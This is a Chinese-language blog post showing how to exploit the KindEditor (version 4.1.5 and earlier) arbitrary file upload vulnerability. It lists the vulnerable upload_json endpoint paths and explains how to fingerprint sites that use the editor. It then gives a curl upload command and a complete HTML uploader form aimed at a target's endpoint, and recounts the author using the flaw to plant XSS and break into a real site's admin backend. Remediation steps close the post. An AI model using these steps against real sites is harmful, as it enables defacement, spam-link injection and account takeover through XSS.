《編輯器篇》kindeditor 任意文件上傳漏洞利用

前言~

只要你靜下心來 你能做好絕大多數事情



目錄導航



一、漏洞描述

KindEditor是一套開源的HTML可視化編輯器,其採用的開發語言支持asp、aspx、php、jsp,幾乎支持了所有的網站,該編輯器主要用於讓用戶在網站上獲得所見即所得編輯效果,且該編輯器支持上傳功能,如果上傳文件類型控制的不好,那麼我們就能利用該漏洞,上傳doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2文件,目前存在漏洞的版本是Kindeditor 4.1.5以下,漏洞發生的代碼文件是在upload_json.jsp代碼裏,該代碼並沒有對用戶上傳的文件格式,以及大小進行安全檢測,導致用戶可以僞造惡意文件進行上傳,尤其html文件可以直接上傳到網站的目錄下,直接讓搜索引擎抓取並收錄,利用這個漏洞,黑產等其它攻擊者可以上傳HTML黑頁套暗鏈接地址以及嵌套xss等危害



二、漏洞條件

1.kindeditor版本<=4.1.5

2.漏洞影響文件要存在,如jsp版本

/kindeditor/jsp/upload_json.jsp?dir=file
/kindeditor/kindeditor.js

其它腳本語言也可用:

/kindeditor/asp/upload_json.asp
/kindeditor/asp.net/upload_json.ashx
/kindeditor/jsp/upload_json.jsp
/kindeditor/php/upload_json.php
1.kindeditor/asp/upload_json.asp?dir=file
2.kindeditor/asp.net/upload_json.ashx?dir=file
3.kindeditor/jsp/upload_json.jsp?dir=file 
4.kindeditor/php/upload_json.php?dir=file

如何判斷網站是否使用了kindeditor呢?最好的方法就是打開位於目標站點的編輯器,然後查看URL中是否存在/kindeditor,例如下圖:

在這裏插入圖片描述
也可直接使用上面的鏈接直接拼接域名進行訪問驗證,如下:

在這裏插入圖片描述
或者f12搜索關鍵字確認

驗證完編輯器的存在性後,需驗證文件 upload_json.* 的存在,驗證方法如上,拼接訪問即可



三、實戰利用

最近在擼的一個站點搞了好久也沒發現突破點,這個站點搞起來賊麻煩,各種vpn鏈接,還容易掉線,搞了幾天都有點抓狂了;但最後還是冷靜了下來,後來慢慢思考測試中遇到的各種細節,到最後還是通過觀察源碼中的/kindeditor,想起了這個漏洞,隨後利用這個漏洞構建了個xss進到後臺,最後成功突破;話不多說,詳細的利用復現看下面

1.curl上傳

curl -F "image=@/home/user1/Desktop/test.jpg" http://url/kindeditor/asp/upload_json.jsp?dir=file

1.html爲想要上傳的文件

不會curl的自行百度或者cmd輸入:curl --help

3.本地構造表單上傳

根據實際情況修改相關的url即可

<html><head>
<title>Uploader</title>
<script src="http://www.xxx.com/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.com/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});

</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

構建好代碼後,瀏覽器打開剛剛編輯好的HTML文件,隨後上傳使用burp截包,接着利用repeater模塊構造發包,即可獲取上傳後路徑,如下:

在這裏插入圖片描述
隨後瀏覽器訪問鏈接,驗證是否上傳成功

同理,上傳一個xss頁面或者其它的某某某頁面,也能造成很大危害!
在這裏插入圖片描述

三、修復方案

該漏洞的具體解決辦法如下:

1.刪除;即在不影響業務的情況下刪除Kindeditor對應文件夾下刪除upload_json.*file_manager_json.*

2.修改;如果該功能還需使用,可修改file_manager_json和upload_json中允許文件上傳類型,去掉可執行文件、html、htm等文件類型,同時也要修改file_manager_json和upload_json兩個文件名稱,這樣攻擊者找不到對應的漏洞上傳路徑,就無法成功上傳具有危害的文件了,最好修補方案還是刪除upload_json.*file_manager_json.*

3.升級kindeditor到最新版本,其它方法有增加白/黑名單控制上傳文件類型,設置文件夾權限,不能執行、讀取等

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章